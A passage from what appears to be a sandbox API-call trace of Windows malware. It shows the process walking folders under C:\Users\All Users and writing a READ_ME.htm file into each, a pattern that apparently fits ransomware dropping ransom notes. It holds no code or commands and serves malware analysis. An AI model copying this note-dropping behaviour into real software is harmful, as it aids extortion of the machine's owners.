lpFileName="C:\\Users\\All Users\\Desktop\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Desktop\\READ_ME.htm", lpFilePart=0x0) returned 0x26 [0140.262] SetErrorMode (uMode=0x1) returned 0x0 [0140.262] CreateFileW (lpFileName="C:\\Users\\All Users\\Desktop\\READ_ME.htm" (normalized: "c:\\users\\all users\\desktop\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.263] GetFileType (hFile=0x1d0) returned 0x1 [0140.263] SetErrorMode (uMode=0x0) returned 0x1 [0140.263] GetFileType (hFile=0x1d0) returned 0x1 [0140.263] WriteFile (in: hFile=0x1d0, lpBuffer=0x2890b88*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2890b88*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0140.264] CloseHandle (hObject=0x1d0) returned 1 [0140.265] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Documents", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Documents", lpFilePart=0x0) returned 0x1c [0140.265] SetErrorMode (uMode=0x1) returned 0x0 [0140.265] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Documents\\*" (normalized: "c:\\users\\all users\\documents\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0140.267] SetErrorMode (uMode=0x0) returned 0x1 [0140.268] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Documents\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Documents\\READ_ME.htm", lpFilePart=0x0) returned 0x28 [0140.268] SetErrorMode (uMode=0x1) returned 0x0 [0140.268] CreateFileW (lpFileName="C:\\Users\\All Users\\Documents\\READ_ME.htm" (normalized: "c:\\users\\all users\\documents\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.268] GetFileType (hFile=0x1d0) returned 0x1 [0140.268] SetErrorMode (uMode=0x0) returned 0x1 [0140.268] GetFileType (hFile=0x1d0) returned 0x1 [0140.269] WriteFile (in: hFile=0x1d0, lpBuffer=0x28964e0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28964e0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0140.270] CloseHandle (hObject=0x1d0) returned 1 [0140.270] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Favorites", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Favorites", lpFilePart=0x0) returned 0x1c [0140.270] SetErrorMode (uMode=0x1) returned 0x0 [0140.270] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Favorites\\*" (normalized: "c:\\users\\all users\\favorites\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0140.272] SetErrorMode (uMode=0x0) returned 0x1 [0140.272] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Favorites\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Favorites\\READ_ME.htm", lpFilePart=0x0) returned 0x28 [0140.273] SetErrorMode (uMode=0x1) returned 0x0 [0140.273] CreateFileW (lpFileName="C:\\Users\\All Users\\Favorites\\READ_ME.htm" (normalized: "c:\\users\\all users\\favorites\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.273] GetFileType (hFile=0x1d0) returned 0x1 [0140.273] SetErrorMode (uMode=0x0) returned 0x1 [0140.273] GetFileType (hFile=0x1d0) returned 0x1 [0140.273] WriteFile (in: hFile=0x1d0, lpBuffer=0x289be38*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x289be38*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0140.274] CloseHandle (hObject=0x1d0) returned 1 [0140.274] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft", lpFilePart=0x0) returned 0x1c [0140.274] SetErrorMode (uMode=0x1) returned 0x0 [0140.274] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*" (normalized: "c:\\users\\all users\\microsoft\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fc52ba0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc52ba0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.275] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fc52ba0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc52ba0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.275] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0f2ea0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0f2ea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assistance", cAlternateFileName="ASSIST~1")) returned 1 [0140.275] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0140.275] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7f0f40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7f0f40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0140.275] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0140.275] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0140.276] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0140.276] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0140.276] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0140.276] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4f97f180, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f97f180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0140.276] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4f9a52e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9a52e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0140.276] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9cb440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0140.276] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fa17700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa17700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0140.277] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab22c10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa639c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa639c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0140.277] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9152f250, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0140.277] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fafbf40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fafbf40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1 [0140.277] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fc52ba0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fc52ba0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc52ba0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.277] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0140.277] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fb6e360, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb6e360, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0140.277] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fb944c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb944c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0140.278] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa9fd6a20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xa9fd6a20, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0140.278] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a4bec96, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1a4bec96, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0140.278] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0140.278] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4fbba620, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fbba620, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0140.278] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4fbba620, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fbba620, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0140.278] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.280] SetErrorMode (uMode=0x0) returned 0x1 [0140.280] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft", lpFilePart=0x0) returned 0x1c [0140.280] SetErrorMode (uMode=0x1) returned 0x0 [0140.280] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*" (normalized: "c:\\users\\all users\\microsoft\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fc52ba0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc52ba0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.281] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fc52ba0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc52ba0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.281] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0f2ea0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0f2ea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assistance", cAlternateFileName="ASSIST~1")) returned 1 [0140.281] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0140.281] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7f0f40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7f0f40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0140.281] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0140.281] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0140.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0140.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0140.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0140.282] FindNextFileW (in: 